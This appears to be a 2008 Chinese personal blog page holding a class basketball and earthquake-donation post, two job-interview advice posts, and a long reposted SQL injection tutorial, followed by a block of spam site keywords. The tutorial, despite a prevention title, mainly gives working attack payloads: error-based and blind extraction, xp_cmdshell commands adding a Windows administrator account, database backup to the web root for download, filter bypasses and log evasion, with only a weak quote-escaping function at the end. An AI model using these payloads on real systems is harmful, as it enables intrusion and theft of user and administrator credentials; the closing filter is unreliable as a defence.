<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 9,  comments - 1,  trackbacks - 0
      2008年5月15日
    這幾天很忙,一直想把前幾天的事記錄下來,但是總是沒有找到合適的時間,今天晚上有時間,趕緊寫下來。
    大三了,馬上要離開學校了,這是我們班最后一次參加學院的院籃球比賽,大家都憋足了勁,拿下這個冠軍。
    決賽中,上半場兩個班你來我往,我們班領先1分,下半場開場不久,我們將比分拉到了8分之多,一直持續到結束。
    三年我們班三次打入決賽,前兩次都得了亞軍,這次我們勝利了。這個冠軍來的有些晚,但是它更有意義,因為我們把獲得的物質獎勵捐給受災的四川人民。
    5月12號的大地震過后,學校里各個班級紛紛進行了募捐活動,班級同學非常踴躍,盡自己的力量幫助四川人民。
    正好我們班籃球隊剛拿了個冠軍,將獎勵的120元錢的物質獎勵改成了現金,捐了其中的100元,剩下20給同學買小紀念品。
    班級募捐金額不是很多,但是體現了大家的心意,具體如下: 
    類型 個數 小計
    1角硬幣 1757 175.7
    5角硬幣 190 95
    1元硬幣 76 76
    1角紙幣 400 40
    2角紙幣+5角紙幣+1元紙幣 26
    大于1元人民幣 394
    籃球隊捐款 100
    總計 906.7
    posted @ 2008-05-22 19:37 速溶人生 閱讀(167) | 評論 (0)編輯 收藏

    sql注入漏洞防范方法

     

    SQL注入是常見的利用程序漏洞進行攻擊的方法,絕大多數的代碼都存在這種漏洞,首先要保證你的管理員密碼是10位以上(數字字母配合),然后下載這個SQL通用防注入程序(網上有很多下載)加入到你的程序內,基本可以解決掉。

    攻擊源于程序漏洞 SQL注入原理

    導致SQL注入攻擊的漏洞并非系統造成的,主要是程序員在編程中忽略了安全因素,他的原理并不復雜。

    引 言

      隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

      SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區別,所以目前市面的防火墻都不會對SQL注入發出警報,如果管理員沒查看IIS日志的習慣,可能被入侵很長時間都不會發覺。

      但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與“菜鳥”的根本區別。

      根據國情,國內的網站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家準備好了嗎?Let's Go...

      入門篇

      如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。

      第一節、SQL注入原理

      以下我們從一個網站www.mytest.com開始(注:本文發表前已征得該站站長同意,大部分都是真實數據)。

      在網站首頁上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:http://www.mytest.com/showdetail.asp?id=49,我們在這個地址后面加上單引號’,服務器會返回下面的錯誤提示:

    Microsoft JET Database Engine 錯誤 '80040e14'

      字符串的語法錯誤 在查詢表達式 'ID=49'' 中。

    /showdetail.asp,行8

      從這個錯誤提示我們能看出下面幾點:

      1. 網站使用的是Access數據庫,通過JET引擎連接數據庫,而不是通過ODBC。

      2. 程序沒有判斷客戶端提交的數據是否符合程序要求。

      3. 該SQL語句所查詢的表中有一名為ID的字段。

      從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。

      第二節、判斷能否進行SQL注入

      看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?

      其實,這并不是最好的方法,為什么呢?

      首先,不一定每臺服務器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器同樣會報錯,具體提示信息為處理 URL 時服務器上出錯。請和系統管理員聯絡。

      其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的,那么,什么樣的測試方法才是比較準確呢?答案如下:

      ① http://www.mytest.com/showdetail.asp?id=49

      ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

      ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

      這就是經典的1=1、1=2測試法了,怎么判斷呢?看看上面三個網址返回的結果就知道了:

      可以注入的表現:

      ① 正常顯示(這是必然的,不然就是程序有錯誤了)

      ② 正常顯示,內容基本與①相同

      ③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

      不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。

      當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字符型和搜索型參數,我將在中級篇的“SQL注入一般步驟”再做分析。

      第三節、判斷數據庫類型及注入方法

      不同的數據庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數據庫的類型。一般ASP最常搭配的數據庫是Access和SQLServer,網上超過99%的網站都是其中之一。

      怎么讓程序告訴你它使用的什么數據庫呢?來看看:

      SQLServer有一些系統變量,如果服務器IIS提示沒關閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

      http://www.mytest.com/showdetail.asp?id=49 ;and user>0

      這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。在以后的篇幅里,大家會看到很多用這種方法的語句。

      順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators權限的角色,拿到了sa權限,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。

      如果服務器IIS不允許返回錯誤提示,那怎么判斷數據庫類型呢?我們可以從Access和SQLServer和區別入手,Access和SQLServer都有自己的系統表,比如存放數據庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示“沒有權限”,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

      在確認可以注入的情況下,使用下面的語句:

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

      如果數據庫是SQLServer,那么第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二個網址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

      如果數據庫用的是Access,那么情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎數據庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的數據庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

    進階篇

      在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從數據庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

      第一節、SQL注入的一般步驟

      首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。

      其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

      (A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下: Select * from 表名 where 字段=49
       注入的參數為ID=49 And [查詢條件],即是生成語句: Select * from 表名 where 字段=49 And [查詢條件]

      (B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下: Select * from 表名 where 字段=’連續劇’
       注入的參數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:

    Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’
       © 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:

    Select * from 表名 where 字段like ’%關鍵字%’
       注入的參數為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:

    Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
       接著,將查詢條件替換成SQL語句,猜解表名,例如:

    ID=49 And (Select Count(*) from Admin)>=0
       如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。
      表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

      有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

      有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,這點在高級篇中會做介紹。

      最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

      我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:

    http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

      先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

      當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

      同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

      第二節、SQL注入常用函數

      有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

    Access:asc(字符) SQLServer:unicode(字符)

      作用:返回某字符的ASCII碼

    Access:chr(數字) SQLServer:nchar(數字)

      作用:與asc相反,根據ASCII碼返回字符

    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

      作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串

    Access:abc(數字) SQLServer:abc (數字)

      作用:返回數字的絕對值(在猜解漢字的時候會用到)

    Access:A between B And C SQLServer:A between B And C

      作用:判斷A是否界于B與C之間

      第三節、中文處理方法

      在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。

      先說一點常識:

      Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。

      SQL Server中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字符。

      了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什么兩樣的。

    高級篇

      看完入門篇和進階篇后,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

      第一節、利用系統表注入SQLServer數據庫

      SQL Server是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

      ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

      分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

      ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

      將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。

      ③ http://Site/url.asp?id=1 ;and db_name()>0

      前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

      ④ http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

      這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

      ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

      前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

      ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

      從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

      以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

      第二節、繞過程序限制繼續注入

      在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

      在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在“利用系統表注入SQLServer數據庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:

      簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;

    如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

      第三節、經驗小結

      1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

      2.在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

      3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

      4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

      5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。

      防范方法

      SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

    Function SafeRequest(ParaName,ParaType)
      '--- 傳入參數 ---
      'ParaName:參數名稱-字符型
      'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)

     Dim Paravalue
      Paravalue=Request(ParaName)
      If ParaType=1 then
       If not isNumeric(Paravalue) then
        Response.write "參數" & ParaName & "必須為數字型!"
        Response.end
       End if
      Else
       Paravalue=replace(Paravalue,"'","''")
      End if
      SafeRequest=Paravalue
    End function

     

    posted @ 2008-05-20 16:22 速溶人生 閱讀(137) | 評論 (0)編輯 收藏
    16個經典面試問題回答思路

    面試過程中,面試官會向應聘者發問,而應聘者的回答將成為面試官考慮是否接受他的重要依據。對應聘者而言,了解這些問題背后的“貓膩”至關重要。本文對面試中經常出現的一些典型問題進行了整理,并給出相應的回答思路和參考答案。讀者無需過分關注分析的細節,關鍵是要從這些分析中“悟”出面試的規律及回答問題的思維方式,達到“活學活用”。

        問題一:“請你自我介紹一下”

        思路: 1、這是面試的必考題目。 2、介紹內容要與個人簡歷相一致。 3、表述方式上盡量口語化。 4、要切中要害,不談無關、無用的內容。 5、條理要清晰,層次要分明。6、事先最好以文字的形式寫好背熟。

        問題二:“談談你的家庭情況”

        思路:1、 況對于了解應聘者的性格、觀念、心態等有一定的作用,這是招聘單位問該問題的主要原因。 2、 簡單地羅列家庭人口。 3、 宜強調溫馨和睦的家庭氛圍。 4、 宜強調父母對自己教育的重視。 5、 宜強調各位家庭成員的良好狀況。 6、 宜強調家庭成員對自己工作的支持。 7、 宜強調自己對家庭的責任感。

        問題三:“你有什么業余愛好?”

        思路: 1、 業余愛好能在一定程度上反映應聘者的性格、觀念、心態,這是招聘單位問該問題的主要原因。 2、 最好不要說自己沒有業余愛好。 3、 不要說自己有那些庸俗的、令人感覺不好的愛好。 4、 最好不要說自己僅限于讀書、聽音樂、上網,否則可能令面試官懷疑應聘者性格孤僻。 5、 最好能有一些戶外的業余愛好來“點綴”你的形象。

        問題四:“你最崇拜誰?”

        思路: 1、 最崇拜的人能在一定程度上反映應聘者的性格、觀念、心態,這是面試官問該問題的主要原因。 2、 不宜說自己誰都不崇拜。 3、 不宜說崇拜自己。 4、 不宜說崇拜一個虛幻的、或是不知名的人。 5、 不宜說崇拜一個明顯具有負面形象的人。 6、 所崇拜的人人最好與自己所應聘的工作能“搭”上關系。 7、 最好說出自己所崇拜的人的哪些品質、哪些思想感染著自己、鼓舞著自己。

        問題五:“你的座右銘是什么?”

        思路: 1、座右銘能在一定程度上反映應聘者的性格、觀念、心態,這是面試官問這個問題的主要原因。 2、不宜說那些易引起不好聯想的座右銘。 3、不宜說那些太抽象的座右銘。 4、不宜說太長的座右銘。 5、座右銘最好能反映出自己某種優秀品質。 6、 參考答案——“只為成功找方法,不為失敗找借口”

        問題六:“談談你的缺點”

        思路: 1、 不宜說自己沒缺點。 2、 不宜把那些明顯的優點說成缺點。 3、 不宜說出嚴重影響所應聘工作的缺點。 4、 不宜說出令人不放心、不舒服的缺點。 5、 可以說出一些對于所應聘工作“無關緊要”的缺點,甚至是一些表面上看是缺點,從工作的角度看卻是優點的缺點。

        問題七:“談一談你的一次失敗經歷”

        思路: 1、 不宜說自己沒有失敗的經歷。 2、 不宜把那些明顯的成功說成是失敗。 3、 不宜說出嚴重影響所應聘工作的失敗經歷, 4、 所談經歷的結果應是失敗的。 5、 宜說明失敗之前自己曾信心白倍、盡心盡力。 6、 說明僅僅是由于外在客觀原因導致失敗。 7、 失敗后自己很快振作起來,以更加飽滿的熱情面對以后的工作。

        問題八:“你為什么選擇我們公司?”

        思路: 1、 面試官試圖從中了解你求職的動機、愿望以及對此項工作的態度。 2、 建議從行業、企業和崗位這三個角度來回答。 3、 參考答案——“我十分看好貴公司所在的行業,我認為貴公司十分重視人才,而且這項工作很適合我,相信自己一定能做好。”

        問題九:“對這項工作,你有哪些可預見的困難?”

        思路: 1、 不宜直接說出具體的困難,否則可能令對方懷疑應聘者不行。 2、 可以嘗試迂回戰術,說出應聘者對困難所持有的態度——“工作中出現一些困難是正常的,也是難免的,但是只要有堅忍不拔的毅力、良好的合作精神以及事前周密而充分的準備,任何困難都是可以克服的。”

        問題十:“如果我錄用你,你將怎樣開展工作”

        思路: 1、 如果應聘者對于應聘的職位缺乏足夠的了解,最好不要直接說出自己開展工作的具體辦法, 2、 可以嘗試采用迂回戰術來回答,如“首先聽取領導的指示和要求,然后就有關情況進行了解和熟悉,接下來制定一份近期的工作計劃并報領導批準,最后根據計劃開展工作。”
    問題十一:“與上級意見不一是,你將怎么辦?”

        思路: 1、 一般可以這樣回答“我會給上級以必要的解釋和提醒,在這種情況下,我會服從上級的意見。” 2、 如果面試你的是總經理,而你所應聘的職位另有一位經理,且這位經理當時不在場,可以這樣回答:“對于非原則性問題,我會服從上級的意見,對于涉及公司利益的重大問題,我希望能向更高層領導反映。”

        問題十二:“我們為什么要錄用你?”

        思路: 1、 應聘者最好站在招聘單位的角度來回答。 2、 招聘單位一般會錄用這樣的應聘者:基本符合條件、對這份共組感興趣、有足夠的信心。 3、 如“我符合貴公司的招聘條件,憑我目前掌握的技能、高度的責任感和良好的餓適應能力及學習能力 ,完全能勝任這份工作。我十分希望能為貴 公司服務,如果貴公司給我這個機會,我一定能成為貴公司的棟梁!”

        問題十三:“你能為我們做什么?”

        思路: 1、 基本原則上“投其所好”。 2、 回答這個問題前應聘者最好能“先發制人”,了解招聘單位期待這個職位所能發揮的作用。 3、 應聘者可以根據自己的了解,結合自己在專業領域的優勢來回答這個問題。

        問題十四:“你是應屆畢業生,缺乏經驗,如何能勝任這項工作?”

        思路: 1、 如果招聘單位對應屆畢業生的應聘者提出這個問題,說明招聘單位并不真正在乎“經驗”,關鍵看應聘者怎樣回答。 2、 對這個問題的回答最好要體現出應聘者的誠懇、機智、果敢及敬業。 3、 如“作為應屆畢業生,在工作經驗方面的確會有所欠缺,因此在讀書期間我一直利用各種機會在這個行業里做兼職。我也發現,實際工作遠比書本知識豐富、復雜。但我有較強的責任心、適應能力和學習能力,而且比較勤奮,所以在兼職中均能圓滿完成各項工作,從中獲取的經驗也令我受益非淺。請貴公司放心,學校所學及兼職的工作經驗使我一定能勝任這個職位。”

        問題十五:“你希望與什么樣的上級共事?”

        思路: 1、 通過應聘者對上級的“希望”可以判斷出應聘者對自我要求的意識,這既上一個陷阱,又上一次機會。 2、 最好回避對上級具體的希望,多談對自己的要求。 3、 如“做為剛步入社會新人,我應該多要求自己盡快熟悉環境、適應環境,而不應該對環境提出什么要求,只要能發揮我的專長就可以了。”

        問題十六:“您在前一家公司的離職原因是什么?”

        思路: 1、 最重要的是:應聘者要使找招聘單位相信,應聘者在過往的單位的“離職原因”在此家招聘單位里不存在。 2、 避免把“離職原因”說得太詳細、太具體。 3、 不能摻雜主觀的負面感受,如“太幸苦”、“人際關系復雜”、“管理太混亂”、“公司不重視人才”、“公司排斥我們某某的員工”等。 4、 但也不能躲閃、回避,如“想換換環境”、“個人原因”等。 5、 不能涉及自己負面的人格特征,如不誠實、懶惰、缺乏責任感、不隨和等。 6、 盡量使解釋的理由為應聘者個人形象添彩。 7、 如“我離職是因為這家公司倒閉。我在公司工作了三年多,有較深的感情。從去年始,由于市場形勢突變,公司的局面急轉直下。到眼下這一步我覺得很遺憾,但還要面對顯示,重新尋找能發揮我能力的舞臺。” 同一個面試問題并非只有一個答案,而同一個答案并不是在任何面試場合都有效,關鍵在于應聘者掌握了規律后,對面試的具體情況進行把握,有意識地揣摩面試官提出問題的心理背景,然后投其所好。
    posted @ 2008-05-15 21:17 速溶人生 閱讀(288) | 評論 (1)編輯 收藏
    外企最愛問的十大問題

    1.請介紹一下你自己。

      這是外企常問的問題。一般人回答這個問題過于平常,只說姓名、年齡、愛好、工作經驗,這些在簡歷上都有,其實,外企最希望知道的是求職者能否勝任工作,包括:最強的技能、最深入研究的知識領域、個性中最積極的部分、做過的最成功的事,主要的成就等,這些都可以和學習無關,也可以和學習有關,但要突出積極的個性和做事的能力,說得合情合理外企才會相信。外企很重視一個人的禮貌,求職者要尊重考官,在回答每個問題之后都說一句“謝謝”。外企喜歡有禮貌的求職者。

    2.在學校你最不喜歡的課程是什么?為什么?

      這個問題外企不希望求職者直接回答“數學”、“體育”之類的具體課程,如果直接回答還說明了理由,不僅代表求職者對這個學科不感興趣,可能還代表將來也會對要完成的某些工作沒有興趣。這個問題外企招聘者最想從求職者口里聽到:我可能對個別科目不是特別感興趣,但是正因為這樣,我會花更多的時間去學習這門課程,通過學習對原本不感興趣的科目也開始有了興趣,對于本來就有興趣的科目我自然學習得更認真,所以各門課的成績較為平衡。通過這樣的問題,外企可以找到對任何事情都很感興趣的求職者。

    3.說說你最大的優缺點?

      這個問題外企問的概率很大,通常不希望聽到直接回答的缺點是什么等,如果求職者說自己小心眼、愛忌妒人、非常懶、脾氣大、工作效率低,外企肯定不會錄用你。外企喜歡求職者從自己的優點說起,中間加一些小缺點,最后再把問題轉回到優點上,突出優點的部分。外企喜歡聰明的求職者。

    4.你認為你在學校屬于好學生嗎?

      外企的招聘者很精明,問這個問題可以試探出很多問題:如果求職者學習成績好,就會說:“是的,我的成績很好,所有的成績都很優異。當然,判斷一個學生是不是好學生有很多標準,在學校期間我認為成績是重要的,其他方面包括思想道德、實踐經驗、團隊精神、溝通能力也都是很重要的,我在這些方面也做得很好,應該說我是一個全面發展的學生。”如果求職者成績不盡理想,便會說:“我認為是不是一個好學生的標準是多元化的,我的學習成績還可以,在其他方面我的表現也很突出,比如我去很多地方實習過,我很喜歡在快節奏和壓力下工作,我在學生會組織過××活動,鍛煉了我的團隊合作精神和組織能力。” 有經驗的招聘者一聽就會明白,外企喜歡誠實的求職者。

     5.說說你的家庭。

    外企面試時詢問家庭問題不是非要知道求職者家庭的情況,探究隱私,外企不喜歡探究個人隱私,而是要了解家庭背景對求職者的塑造和影響。外企希望聽到的重點也在于家庭對求職者的積極影響。外企最喜歡聽到的是:我很愛我的家庭!我的家庭一向很和睦,雖然我的父親和母親都是普通人,但是從小,我就看到我父親起早貪黑,每天工作特別勤勞,他的行動無形中培養了我認真負責的態度和勤勞的精神。我母親為人善良,對人熱情,特別樂于助人,所以在單位人緣很好,她的一言一行也一直在教導我做人的道理。外企相信,和睦的家庭關系對一個人的成長有潛移默化的影響。

      

    6.說說你對行業、技術發展趨勢的看法?

      外企對這個問題很感興趣,只有有備而來的求職者能夠過關。求職者可以直接在網上查找對你所申請的行業部門的信息,只有深入了解才能產生獨特的見解。外企認為最聰明的求職者是對所面試的公司預先了解很多,包括公司各個部門,發展情況,在面試回答問題的時候可以提到所了解的情況,外企歡迎進入企業的人是“知己”,而不是“盲人”。

    7.就你申請的這個職位,你認為你還欠缺什么?

      外企喜歡問求職者弱點,但精明的求職者一般不直接回答。他們希望看到這樣的求職者:繼續重復自己的優勢,然后說:“對于這個職位和我的能力來說,我相信自己是可以勝任的,只是缺乏經驗,這個問題我想我可以進入公司以后以最短的時間來解決,我的學習能力很強,我相信可以很快融入公司的企業文化,進入工作狀態。”外企喜歡能夠巧妙地躲過難題的求職者

    8.你期望的工資是多少?

      外企的工資水平是很靈活的,何種能力拿何種工資。外企喜歡直率的人,但這個問題卻不能正面回答,外企希望聽到:“以我的能力和我的優勢,我完全可以勝任這個職位,我相信我可以做得很好。但是貴公司對這個職位的描述不是很具體,我想還可以延后再討論”。外企歡迎求職者給其定薪的自由度,而不是咬準一個價碼。

    9.你能給公司帶來什么?

      外企很想知道未來的員工能為企業做什么,求職者應再次重復自己的優勢,然后說:“就我的能力,我可以做一個優秀的員工在組織中發揮能力,給組織帶來高效率和更多的收益”。外企喜歡求職者就申請的職位表明自己的能力,比如申請營銷之類的職位,可以說:“我可以開發大量的新客戶,同時,對老客戶做更全面周到的服務,開發老客戶的新需求和消費。”等等。

    10.你還有什么問題嗎?

      外企的這個問題看上去可有可無,其實很關鍵,外企不喜歡說“沒有問題”的人,因為其很注重員工的個性和創新能力。外企不喜歡求職者問個人福利之類的問題,如果有人這樣問:貴公司對新入公司的員工有沒有什么培訓項目,我可以參加嗎?或者說貴公司的晉升機制是什么樣的?外企將很歡迎,因為體現出你對學習的熱情和對公司的忠誠度以及你的上進心。

    posted @ 2008-05-15 15:18 速溶人生 閱讀(162) | 評論 (0)編輯 收藏
    <2008年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    常用鏈接

    留言簿(1)

    隨筆檔案

    搜索

    •  

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 亚洲国产综合在线| 亚洲美女在线观看播放| 国产91在线|亚洲| 妻子5免费完整高清电视| 亚洲黄色片免费看| 久久成人国产精品免费软件| 亚洲国产精品乱码在线观看97| 亚洲精品免费在线观看| 亚洲四虎永久在线播放| 久久国产色AV免费看| 亚洲高清视频免费| 波多野结衣在线免费观看| 亚洲va精品中文字幕| 最近中文字幕无吗免费高清| 亚洲国产成人无码AV在线| 日本高清免费不卡在线| 特级一级毛片免费看| 久久久久无码专区亚洲av| 人人玩人人添人人澡免费| 亚洲视频在线观看不卡| 成年女人毛片免费播放视频m| 亚洲av成人中文无码专区| 亚洲成A人片77777国产| 成人性生交大片免费看中文| 亚洲福利视频一区二区三区| 久久久www成人免费毛片| 精品国产_亚洲人成在线| 成人午夜亚洲精品无码网站| 性无码免费一区二区三区在线| 亚洲狠狠狠一区二区三区| 国产成人免费片在线视频观看| 国产精品免费久久久久影院| 亚洲网址在线观看你懂的| 免费高清在线爱做视频| 一区二区三区免费在线视频| 亚洲AV综合色区无码一区| 精品熟女少妇AV免费观看| 国产精品青草视频免费播放| 亚洲无线一二三四区| 